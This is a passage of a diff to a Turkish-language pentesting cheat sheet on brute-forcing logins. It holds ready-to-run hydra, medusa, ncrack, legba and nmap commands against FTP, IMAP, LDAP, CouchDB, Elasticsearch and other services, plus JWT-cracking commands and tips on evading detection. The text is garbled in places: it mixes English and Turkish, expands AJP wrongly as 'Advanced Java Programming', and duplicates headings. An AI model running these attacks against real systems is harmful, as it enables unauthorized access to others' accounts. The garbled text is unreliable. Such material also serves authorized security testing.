grubunu içeren metinleri toplar. Bu, bir saldırganın hedef web sitesindeki kullanıcı adları, e-posta adresleri veya diğer hassas bilgileri bulmasına yardımcı olabilir. - -Cewl'ün kullanımı oldukça basittir. İlk olarak, hedef web sitesinin URL'sini belirtmeniz gerekmektedir. Ardından, araştırmak istediğiniz kelime veya kelime grubunu belirleyin. Cewl, web sitesinin içeriğini tarayacak ve belirtilen kelime veya kelime grubunu içeren metinleri toplayacaktır. - -Cewl'ün çıktısı, toplanan metinleri içeren bir dosyadır. Bu dosyayı daha sonra analiz etmek veya başka bir saldırı yöntemi için kullanmak için kullanabilirsiniz. Cewl, bir hedef web sitesinin içeriğini hızlı bir şekilde tarayarak, saldırganlara hedefe yönelik daha spesifik saldırılar yapma imkanı sağlar. - -Cewl, bir brute force saldırısı için önemli bir kaynak olabilir. Saldırganlar, topladıkları metinleri kullanarak kullanıcı adı ve şifre kombinasyonlarını deneyebilirler. Bu, zayıf şifreler kullanan kullanıcı hesaplarını ele geçirmek için kullanılan yaygın bir saldırı yöntemidir. - -Cewl, bir saldırganın hedef web sitesindeki metinleri toplamasına yardımcı olan güçlü bir araçtır. Ancak, bu aracın yasal ve etik kullanımlarını hatırlamak önemlidir. Sadece yasal izinlerle ve etik sınırlar içinde kullanılmalıdır. +Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya cümleleri çıkararak bir kelime listesi oluşturur. Bu liste daha sonra şifre kırma saldırılarında kullanılabilir. ```bash cewl example.com -m 5 -w words.txt ``` @@ -76,7 +68,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -Wister, bir kelime listesi oluşturma aracıdır. Bu araç, belirli bir hedefle ilgili olarak kullanmak için benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanır. Verilen kelimelerden birden fazla varyasyon oluşturmanıza imkan sağlar. +Belirli bir hedefle ilgili kullanmak için benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanıyan bir kelime listesi oluşturma aracıdır. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -110,10 +102,10 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -132,138 +124,53 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` -#### AJP +### AJP -AJP (Apache JServ Protocol) is a protocol used by Apache Tomcat to communicate with web servers. It is similar to the HTTP protocol but is more efficient for communication between the web server and the application server. - -A common vulnerability in AJP is the ability to perform a brute force attack on the AJP port (usually port 8009). Brute force attacks involve systematically trying all possible combinations of usernames and passwords until the correct credentials are found. - -To perform a brute force attack on the AJP port, you can use tools like Hydra or Burp Suite. These tools allow you to automate the process of trying different usernames and passwords. - -When performing a brute force attack on the AJP port, it is important to use a strong password list and to set a reasonable delay between each attempt to avoid detection. Additionally, it is recommended to use a VPN or proxy to hide your IP address and avoid being blocked by the target server. - -If successful, a brute force attack on the AJP port can allow an attacker to gain unauthorized access to the application server and potentially compromise the entire system. Therefore, it is important to ensure that strong passwords are used and that the AJP port is properly secured to prevent brute force attacks. +AJP, Advanced Java Programming, is a protocol used by Apache Tomcat to communicate with a web server. It stands for Apache JServ Protocol. ```bash nmap --script ajp-brute -p 8009 ``` -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace) - -AMQP (Advanced Message Queuing Protocol - Gelişmiş Mesaj Sıralama Protokolü), mesaj tabanlı uygulamalar arasında güvenli ve etkili bir iletişim sağlamak için kullanılan bir protokoldür. AMQP, birçok popüler mesaj sıralama sistemini destekler, bunlar arasında ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace bulunur. - -Bu sistemlerin birçoğu, kullanıcı kimlik doğrulama ve yetkilendirme için kullanıcı adı ve parola tabanlı bir mekanizma sunar. Brute force saldırıları, bu sistemlere yetkisiz erişim sağlamak için kullanılabilir. Brute force saldırıları, bir kullanıcının hesabına birden çok parola deneyerek giriş yapmaya çalışır. - -Brute force saldırılarına karşı korunmak için, güçlü ve karmaşık parolalar kullanılmalıdır. Ayrıca, hesap kilitlenme politikaları ve oturum süreleri gibi güvenlik önlemleri de uygulanmalıdır. +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` -# Cassandra +### Cassandra -Cassandra, Apache tarafından geliştirilen ve dağıtılmış bir veritabanı yönetim sistemidir. Büyük ölçekli ve yüksek performanslı uygulamalar için tasarlanmıştır. Cassandra, dağıtılmış mimarisi sayesinde yüksek ölçeklenebilirlik ve yüksek kullanılabilirlik sağlar. - -Cassandra'nın güvenliği, kullanıcı kimlik doğrulama ve yetkilendirme mekanizmalarıyla sağlanır. Kullanıcılar, roller ve izinler aracılığıyla veritabanına erişim kontrolü yapabilirler. - -Brute force saldırıları, Cassandra'nın güvenliğini zayıflatabilir. Brute force saldırısı, tüm olası kombinasyonları deneyerek kullanıcı adı ve şifreleri tahmin etmeye çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. - -Cassandra'da brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar şunları içerir: - -- Güçlü şifre politikaları uygulamak: Kullanıcıların karmaşık ve tahmin edilemez şifreler kullanmalarını sağlamak için şifre politikaları belirlenmelidir. -- Kullanıcı hesaplarını kilitlenme: Belirli bir süre boyunca yanlış şifre denemeleri yapan kullanıcı hesaplarını otomatik olarak kilitlenmek. -- İki faktörlü kimlik doğrulama kullanmak: Kullanıcıların şifrelerinin yanı sıra bir doğrulama kodu veya anahtar kullanarak kimliklerini doğrulamalarını sağlamak. - -Bu önlemler, brute force saldırılarını önlemeye yardımcı olabilir ve Cassandra'nın güvenliğini artırabilir. Ancak, güvenlik açıklarını tespit etmek ve düzeltmek için düzenli olarak güvenlik denetimleri yapmak önemlidir. +Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan açık kaynaklı bir NoSQL veritabanıdır. Cassandra, yüksek performanslı ve ölçeklenebilir dağıtılmış sistemler için tasarlanmıştır. Veriler, birden fazla sunucu üzerinde dağıtılarak depolanır ve veritabanı hizmeti sağlar. Cassandra'nın dağıtılmış doğası, yüksek kullanılabilirlik ve dayanıklılık sağlar. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` -#### Brute Force +### CouchDB -CouchDB is a NoSQL database that can be vulnerable to brute force attacks if weak or default credentials are used. Brute forcing is a technique where an attacker systematically tries all possible combinations of usernames and passwords until the correct one is found. - -To perform a brute force attack on CouchDB, you can use tools like Hydra or Medusa. These tools allow you to automate the process of trying different username and password combinations against the CouchDB login page. - -Here is an example command using Hydra: - -```plaintext -hydra -L users.txt -P passwords.txt http-post-form "/_session:username=^USER^&password=^PASS^:F=incorrect" -V -``` - -In this command, `users.txt` and `passwords.txt` are files containing a list of usernames and passwords to try. `` should be replaced with the IP address of the CouchDB server. - -It is important to note that brute forcing is a time-consuming process and may be detected by intrusion detection systems (IDS) or rate limiting mechanisms. Therefore, it is recommended to use a targeted approach, such as using a wordlist that includes common passwords or trying default credentials. - -If successful, a brute force attack can give an attacker unauthorized access to the CouchDB database, allowing them to view, modify, or delete data. To protect against brute force attacks, it is essential to use strong, unique passwords and consider implementing additional security measures such as account lockouts or multi-factor authentication. +CouchDB, bir HTTP API'si üzerinden çalışan bir NoSQL veritabanıdır. Brute force saldırıları, kullanıcı adı ve parola kombinasyonlarını deneyerek sisteme yetkisiz erişim sağlamaya çalışan bir saldırı türüdür. Bu tür saldırılar, güçlü ve karmaşık parolalar kullanılarak engellenebilir. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Docker Registry -Docker Registry, Docker imajlarını depolamak ve paylaşmak için kullanılan bir bileşendir. Docker Registry, Docker Hub gibi bir bulut hizmeti olarak kullanılabilir veya kendi özel Docker Registry'nizi oluşturabilirsiniz. - -Docker Registry'ye erişmek için, Docker istemcisini kullanarak imajları çekebilir ve gönderebilirsiniz. Docker Registry'ye erişmek için yetkilendirme gerektiğinde, kullanıcı adı ve parola veya bir kimlik doğrulama belirteci kullanmanız gerekebilir. - -Docker Registry'ye brute force saldırıları, kullanıcı adı ve parola kombinasyonlarını deneyerek yetkilendirme bilgilerini elde etmeye çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir parolaları hedef alır ve otomatik olarak bir dizi kullanıcı adı ve parola kombinasyonunu deneyerek başarılı bir giriş yapmayı hedefler. - -Docker Registry'ye brute force saldırılarından korunmak için güçlü ve karmaşık parolalar kullanmanız önemlidir. Ayrıca, kullanıcı adı ve parola kombinasyonlarını sınırlayan bir giriş deneme sınırı ayarlamak da faydalı olabilir. +### Docker Kayıt Defteri ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` -# Elasticsearch +### Elasticsearch -Elasticsearch, açık kaynaklı bir arama ve analiz motorudur. Genellikle büyük miktarda veriyi hızlı bir şekilde depolamak, aramak ve analiz etmek için kullanılır. Elasticsearch, dağıtık bir yapıya sahiptir ve verileri parçalara ayırarak birden fazla düğümde depolar. Bu sayede yüksek performans ve ölçeklenebilirlik sağlar. - -Elasticsearch, RESTful API üzerinden iletişim kurar ve JSON formatında veri alışverişi yapar. Bu sayede farklı programlama dilleri ve platformlar arasında kolayca entegre edilebilir. - -Elasticsearch, genellikle log analizi, metin arama, gerçek zamanlı analiz gibi uygulamalarda kullanılır. Ayrıca, Elasticsearch'in güçlü sorgulama yetenekleri sayesinde karmaşık sorgular yapmak da mümkündür. - -Elasticsearch, güvenlik önlemleriyle donatılmıştır. Kullanıcı yetkilendirmesi, erişim kontrol listeleri ve şifreleme gibi özellikler sunar. Ancak, hatalı yapılandırma veya zayıf şifreler gibi güvenlik açıkları, Elasticsearch'e karşı brute force saldırılarına yol açabilir. - -Brute force saldırısı, bir hedef sistemdeki kullanıcı hesaplarının şifrelerini tahmin etmek için otomatik olarak bir dizi olası şifre denemesi yapma yöntemidir. Elasticsearch üzerinde brute force saldırısı gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur. - -Brute force saldırılarını önlemek için, Elasticsearch'in güvenlik ayarlarının doğru bir şekilde yapılandırılması önemlidir. Güçlü şifreler kullanılmalı, kullanıcı hesapları için sınırlamalar getirilmeli ve giriş denemeleri için otomatik engelleme mekanizmaları etkinleştirilmelidir. - -Ayrıca, Elasticsearch sunucusuna erişimi sınırlamak için güvenlik duvarı veya ağ düzeyindeki diğer önlemler de alınmalıdır. Güncellemelerin düzenli olarak uygulanması ve güvenlik açıklarının izlenmesi de önemlidir. - -Sonuç olarak, Elasticsearch'in güvenliğini sağlamak için doğru yapılandırma ve güvenlik önlemlerinin alınması gerekmektedir. Brute force saldırılarına karşı korunmak için güçlü şifreler kullanılmalı ve giriş denemeleri için otomatik engelleme mekanizmaları etkinleştirilmelidir. +Elasticsearch, birçok farklı senaryoda kullanılan popüler bir arama ve analiz motorudur. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler bulunmaktadır. Bu saldırılar genellikle zayıf şifrelerin tespit edilmesi veya şifrelerin kaba kuvvet yöntemiyle kırılması amacıyla gerçekleştirilir. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için Hydra, Patator ve Burp Suite gibi araçlar kullanılabilir. Bu araçlar, farklı protokoller ve hedefler üzerinde kaba kuvvet saldırıları gerçekleştirmek için kullanılabilir. Elasticsearch üzerinde güvenlik açıklarını tespit etmek ve önlem almak için düzenli olarak güvenlik testleri yapılması önemlidir. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP -FTP (File Transfer Protocol), dosya transferi için kullanılan bir ağ protokolüdür. Bir sunucu ve bir istemci arasında dosya transferi yapmak için kullanılır. FTP, sunucuya bağlanmak ve dosyaları yüklemek veya indirmek için kullanıcı adı ve parola gerektirir. - -#### Brute Force Saldırısı - -Brute force saldırısı, bir hesaba veya sisteme yetkisiz erişim elde etmek için tüm olası kombinasyonları deneyerek gerçekleştirilen bir saldırı türüdür. FTP brute force saldırısı, bir saldırganın FTP sunucusuna erişmek için tüm olası kullanıcı adı ve parola kombinasyonlarını denemesini içerir. - -#### FTP Brute Force Saldırısını Gerçekleştirmek - -FTP brute force saldırısını gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz: - -1. Hedef FTP sunucusunun IP adresini belirleyin. -2. Bir brute force aracı kullanarak kullanıcı adı ve parola kombinasyonlarını denemek için bir wordlist oluşturun. -3. Brute force aracını kullanarak hedef FTP sunucusuna tüm olası kombinasyonları deneyin. -4. Başarılı bir şekilde kullanıcı adı ve parolayı bulduğunuzda, hedef FTP sunucusuna yetkisiz erişim elde etmiş olursunuz. - -#### FTP Brute Force Saldırısını Önlemek - -FTP brute force saldırısını önlemek için aşağıdaki önlemleri alabilirsiniz: - -1. Güçlü ve karmaşık parolalar kullanın. -2. Oturum açma denemelerini sınırlayın ve belirli bir süre boyunca hesabı kilitli tutun. -3. IP adresi tabanlı erişim kontrolü kullanarak sadece güvenilir IP adreslerinden gelen bağlantılara izin verin. -4. FTP sunucusunu güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın. -5. İki faktörlü kimlik doğrulama kullanarak güvenliği artırın. - -FTP brute force saldırısı, zayıf parolaları hedef alır ve yetkisiz erişim elde etmek için çok sayıda deneme yapar. Bu nedenle, güçlü parolalar kullanmak ve güvenlik önlemlerini uygulamak önemlidir. +FTP, File Transfer Protocol olarak bilinir. Bir sunucuya dosya aktarmak veya sunucudan dosya indirmek için kullanılır. Brute force saldırıları, genellikle zayıf şifrelerin kırılmasında kullanılır. Saldırgan, oturum açma ekranına bir dizi şifre deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, oturum açma ekranına erişim sağlayan bir araç kullanılarak otomatikleştirilebilir. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### HTTP Genel Brute +### HTTP Genel Kaba Kuvvet #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) @@ -276,141 +183,73 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht ``` ### HTTP - NTLM -NTLM, Windows NT LAN Manager, bir kimlik doğrulama protokolüdür. NTLM, Windows işletim sistemlerinde kullanılan bir güvenlik mekanizmasıdır. NTLM, HTTP üzerinden kimlik doğrulama yapmak için kullanılabilir. - -NTLM kimlik doğrulama, kullanıcı adı ve şifre kombinasyonunu kullanarak kimlik doğrulama yapar. Bu kimlik doğrulama yöntemi, brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. - -NTLM brute force saldırıları, genellikle bir wordlist veya şifre kombinasyonları listesi kullanılarak gerçekleştirilir. Saldırgan, hedefin NTLM kimlik doğrulama sunucusuna doğrudan erişim sağlamak için bir HTTP isteği gönderir. Ardından, saldırgan, wordlist veya şifre kombinasyonları listesindeki her bir şifreyi deneyerek doğru şifreyi bulmaya çalışır. - -NTLM brute force saldırılarına karşı korunmak için, güçlü ve karmaşık şifreler kullanılmalıdır. Ayrıca, hesap kilitlenme politikaları ve oturum süreleri gibi güvenlik önlemleri de uygulanmalıdır. +### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form -#### Introduction +#### Brute Force -HTTP Post Form is a common method used to send data to a server. It is widely used in web applications for various purposes, such as submitting login credentials, submitting search queries, or submitting data to be processed. +Brute force is a straightforward attack method that tries all possible combinations of a password until the correct one is found. This method can be used to crack passwords for authentication in web applications, including login forms. -#### Brute Forcing HTTP Post Forms +#### Tools -Brute forcing HTTP Post Forms involves systematically trying different combinations of input values in order to find the correct combination that allows access to a protected resource or performs a specific action. +There are various tools available for performing brute force attacks on web applications. Some popular tools include Hydra, Medusa, and Burp Suite. -#### Steps to Brute Force HTTP Post Forms +#### Methodology -1. Identify the target: Determine the URL of the target web application and locate the login or form submission page. +1. Identify the login form: Use browser developer tools to inspect the login form and determine the parameters required for authentication. -2. Analyze the form: Inspect the HTML source code of the form to identify the input fields and their corresponding names. +2. Choose a tool: Select a suitable brute force tool based on the target application and your requirements. -3. Prepare a wordlist: Create a wordlist containing possible values for each input field. This can include common passwords, dictionary words, or any other relevant values. +3. Configure the tool: Set the target URL, parameters, and wordlist (list of passwords) in the brute force tool. -4. Automate the process: Use a tool or script to automate the process of sending HTTP Post requests with different combinations of input values from the wordlist. +4. Start the attack: Initiate the brute force attack using the selected tool. Monitor the progress and wait for the tool to find the correct password. -5. Handle responses: Analyze the responses received from the server to determine if the attempted combination was successful. This can be done by checking for specific error messages, redirects, or changes in the application's behavior. +5. Analyze the results: Once the tool successfully cracks the password, analyze the results and use the credentials for further exploitation if needed. -6. Iterate and refine: Repeat the process with different wordlists or modify the existing wordlist based on the observed responses. This helps to increase the chances of finding the correct combination. +#### Prevention -#### Tips for Brute Forcing HTTP Post Forms - -- Use a tool or script that allows for rate limiting to avoid triggering account lockouts or IP bans. - -- Prioritize input fields that are more likely to contain sensitive information, such as usernames or passwords. - -- Consider using a proxy or VPN to hide your IP address and avoid detection. - -- Be mindful of legal and ethical considerations when performing brute force attacks. Always obtain proper authorization and ensure you are not violating any laws or regulations. - -#### Conclusion - -Brute forcing HTTP Post Forms can be an effective technique for gaining unauthorized access or discovering vulnerabilities in web applications. However, it is important to use this technique responsibly and within the boundaries of the law. Always obtain proper authorization and exercise caution to avoid causing harm or legal consequences. +To prevent brute force attacks, web applications can implement measures such as account lockout after multiple failed login attempts, CAPTCHA challenges, and enforcing strong password policies. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -http**s** için "http-post-form"dan "**https-post-form"** olarak değiştirmeniz gerekmektedir. - -### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle +### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir. ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` -IMAP (Internet Message Access Protocol), bir e-posta istemcisi ve e-posta sunucusu arasında iletişim kurmak için kullanılan bir protokoldür. IMAP, e-posta mesajlarını sunucuda tutar ve istemciye sadece gerekli olanları gönderir. Bu, e-postaların istemci cihazda depolanmasını gerektirmez ve birden fazla cihaz arasında senkronizasyon sağlar. +### IMAP -IMAP brute force saldırısı, bir saldırganın IMAP sunucusuna birden fazla kullanıcı adı ve şifre kombinasyonu deneyerek yetkisiz erişim elde etmeye çalıştığı bir saldırı türüdür. Bu saldırı, zayıf şifreler veya kullanıcı adı ve şifre kombinasyonlarının tahmin edilebilir olması durumunda etkili olabilir. - -IMAP brute force saldırısını gerçekleştirmek için, saldırgan bir brute force aracı kullanır ve hedef IMAP sunucusuna bağlanır. Ardından, farklı kullanıcı adı ve şifre kombinasyonlarını denemek için otomatik olarak istekler gönderir. Saldırgan, doğru kullanıcı adı ve şifre kombinasyonunu bulana kadar bu işlemi tekrarlar. - -Bu tür bir saldırıya karşı korunmanın en iyi yolu, güçlü ve karmaşık şifreler kullanmaktır. Ayrıca, IMAP sunucusunda oturum açma denemelerini sınırlayan bir güvenlik önlemi uygulamak da faydalı olabilir. +IMAP, Internet Mesaj Erişim Protokolü'nü ifade eder. IMAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, oturum açma bilgilerini elde etmek ve hassas e-posta verilerine erişmek amacıyla gerçekleştirilir. Saldırganlar genellikle oturum açma sayısını sınırlamak ve oturum açma girişimlerini geciktirmek için çeşitli teknikler kullanırlar. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` -IRC (Internet Relay Chat), İnternet üzerinde gerçek zamanlı sohbet etmek için kullanılan bir protokoldür. IRC sunucuları ve istemcileri kullanılarak birçok kişi aynı anda sohbet edebilir. IRC, farklı kanallarda sohbet etmeyi ve özel mesajlar göndermeyi sağlar. +### IRC -IRC sunucuları genellikle belirli bir ağda barındırılır ve kullanıcılar bu sunuculara bağlanarak sohbet edebilir. IRC istemcileri, kullanıcıların sunuculara bağlanmasını ve sohbet etmesini sağlar. - -IRC brute force saldırısı, bir saldırganın IRC hesaplarının şifrelerini tahmin etmek için otomatik olarak bir dizi olası şifre denemesi yapmasını içerir. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanan kullanıcıları hedef alır. - -IRC brute force saldırılarını önlemek için güçlü ve karmaşık şifreler kullanmak önemlidir. Ayrıca, hesaplarınızı korumak için iki faktörlü kimlik doğrulama gibi ek güvenlik önlemleri kullanmanız önerilir. +IRC, Internet Relay Chat, eski ama hala popüler bir iletişim protokolüdür. Brute force saldırıları genellikle IRC sunucularına karşı gerçekleştirilir. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu tür saldırılar genellikle oturum açma sayfasına karşı gerçekleştirilir. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` -#### ISCSI +### ISCSI -ISCSI (Internet Small Computer System Interface) bir ağ protokolüdür ve SCSI (Small Computer System Interface) komutlarını TCP/IP üzerinden iletmek için kullanılır. Bu protokol, depolama alanı ağları (SAN) üzerindeki depolama cihazlarına erişim sağlar. - -ISCSI, bir sunucunun uzaktaki bir depolama cihazına bağlanmasını sağlar ve bu cihazı yerel bir depolama birimi gibi kullanmasına olanak tanır. Bu, sunucuların depolama kaynaklarını paylaşmasını ve merkezi bir depolama havuzuna erişim sağlamasını sağlar. - -ISCSI brute force saldırısı, bir saldırganın ISCSI protokolünü kullanarak bir hedef sunucuya erişmek için bir dizi olası kimlik bilgisi kombinasyonunu denemesidir. Bu saldırı, zayıf veya tahmin edilebilir kimlik bilgileri kullanılarak korunan bir ISCSI hedefine erişmek için kullanılabilir. - -Bu saldırı türü, saldırganın hedef sunucunun ISCSI hizmetine erişmek için bir dizi kullanıcı adı ve parola kombinasyonunu otomatik olarak denemesini gerektirir. Saldırgan, doğru kimlik bilgilerini bulana kadar farklı kombinasyonları denemeye devam eder. - -ISCSI brute force saldırıları, güçlü kimlik doğrulama önlemleri alınmadığında etkili olabilir. Bu nedenle, güvenlik bilincine sahip olmak ve güçlü kimlik doğrulama politikaları uygulamak önemlidir. +### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` -JWT (JSON Web Token), JSON Web Token olarak da bilinir, web uygulamalarında kullanılan bir kimlik doğrulama mekanizmasıdır. JWT'ler, kullanıcıların kimlik bilgilerini güvenli bir şekilde taşımak için kullanılır. JWT'ler, bir başlık, bir pay yükü ve bir imza olmak üzere üç bölümden oluşur. +### JWT -#### JWT Yapısı +JWT, JSON Web Token, an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA. -JWT'nin yapısı şu şekildedir: +### JWT -1. Başlık (Header): JWT'nin türünü (typ) ve kullanılan algoritmayı (alg) içerir. Başlık, Base64 URL güvenli bir şekilde kodlanmıştır. - -2. Pay Yükü (Payload): JWT'de taşınan verileri içerir. Pay yükü, kullanıcıya özgü bilgileri (id, ad, rol vb.) içerebilir. Pay yükü de Base64 URL güvenli bir şekilde kodlanmıştır. - -3. İmza (Signature): JWT'nin doğrulama amacıyla kullanılan bir imzadır. İmza, başlık ve pay yükünün birleştirilip belirli bir algoritma ile şifrelenmesiyle oluşturulur. - -#### JWT Kullanımı - -JWT'ler, kullanıcı kimlik doğrulaması ve yetkilendirme için kullanılır. Bir kullanıcı başarılı bir şekilde kimlik doğrulandığında, sunucu bir JWT oluşturur ve bu JWT'yi kullanıcıya verir. Kullanıcı, bu JWT'yi her istekte sunucuya gönderir ve sunucu bu JWT'yi doğrularak kullanıcının yetkilendirilip yetkilendirilmediğini kontrol eder. - -JWT'lerin avantajları şunlardır: - -- Taşınabilirlik: JWT'ler, kullanıcı kimlik bilgilerini taşımak için kullanıldığından, kullanıcılar farklı sunucular arasında gezinebilirler. - -- Güvenlik: JWT'ler, imzaları sayesinde doğrulama ve bütünlük sağlar. Bu sayede, JWT'lerin içeriği değiştirilmediği sürece güvenli bir şekilde kullanılabilirler. - -- Ölçeklenebilirlik: JWT'ler, sunucu tarafında saklanması gereken oturum bilgilerini taşımadığından, sunucu tarafında herhangi bir durum saklamak zorunda kalmaz. - -#### JWT Brute Force Saldırıları - -JWT'lerin güvenliği, kullanılan algoritmanın güvenliği ve JWT'nin doğru şekilde uygulanmasına bağlıdır. Brute force saldırıları, JWT'nin imza bölümünü tahmin etmek için tüm olası kombinasyonları deneyerek gerçekleştirilir. - -JWT brute force saldırılarını önlemek için aşağıdaki önlemler alınabilir: - -- Güçlü bir şifreleme algoritması kullanmak: Güvenilir ve güçlü bir şifreleme algoritması kullanmak, brute force saldırılarını zorlaştırır. - -- Uzun ve karmaşık anahtarlar kullanmak: Uzun ve karmaşık anahtarlar, brute force saldırılarını daha zor hale getirir. - -- İmza doğrulama sürecini güçlendirmek: İmza doğrulama sürecini güçlendirmek, brute force saldırılarını önlemeye yardımcı olur. - -- İmza doğrulama sürecini sınırlamak: İmza doğrulama sürecini sınırlamak, brute force saldırılarını sınırlar ve saldırganların deneme sayısını azaltır. - -JWT brute force saldırılarına karşı korunmak için bu önlemler alınmalıdır. Ayrıca, JWT'lerin güvenli bir şekilde saklanması ve iletilmesi de önemlidir. +JWT, JSON Web Token, bir JSON nesnesi olarak bilgilerin güvenli bir şekilde taraflar arasında iletilmesini tanımlayan kompakt ve kendi kendine yeterli bir yol olan açık bir standarttır (RFC 7519). Bu bilgiler dijital olarak imzalandığı için doğrulanabilir ve güvenilirdir. JWT'ler, HMAC algoritması kullanılarak bir sır ile veya RSA veya ECDSA kullanılarak bir genel/özel anahtar çifti ile imzalanabilir. ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -433,39 +272,29 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` -LDAP (Lightweight Directory Access Protocol), hafif bir dizin erişim protokolüdür. Genellikle ağdaki dizin hizmetlerine erişmek için kullanılır. LDAP, kullanıcı kimlik doğrulama, yetkilendirme ve dizin hizmetlerine erişim gibi işlevleri destekler. Brute force saldırıları, LDAP sunucusuna erişmek için kullanılan bir yöntemdir. Bu saldırıda, saldırgan, kullanıcı adı ve şifre kombinasyonlarını deneyerek doğru kimlik bilgilerini bulmaya çalışır. Bu tür saldırılar, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. +### LDAP + +LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. LDAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, genellikle kullanıcı kimlik bilgilerini elde etmek veya yetkisiz erişim elde etmek amacıyla gerçekleştirilir. LDAP brute force saldırıları, güvenlik açıklarını tespit etmek ve kapatmak için yapılan güvenlik testlerinin bir parçası olarak kullanılabilir. ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` -MQTT (Message Queuing Telemetry Transport) is a lightweight messaging protocol that is commonly used in IoT (Internet of Things) applications. It is designed to be simple and efficient, making it ideal for devices with limited resources and low bandwidth. 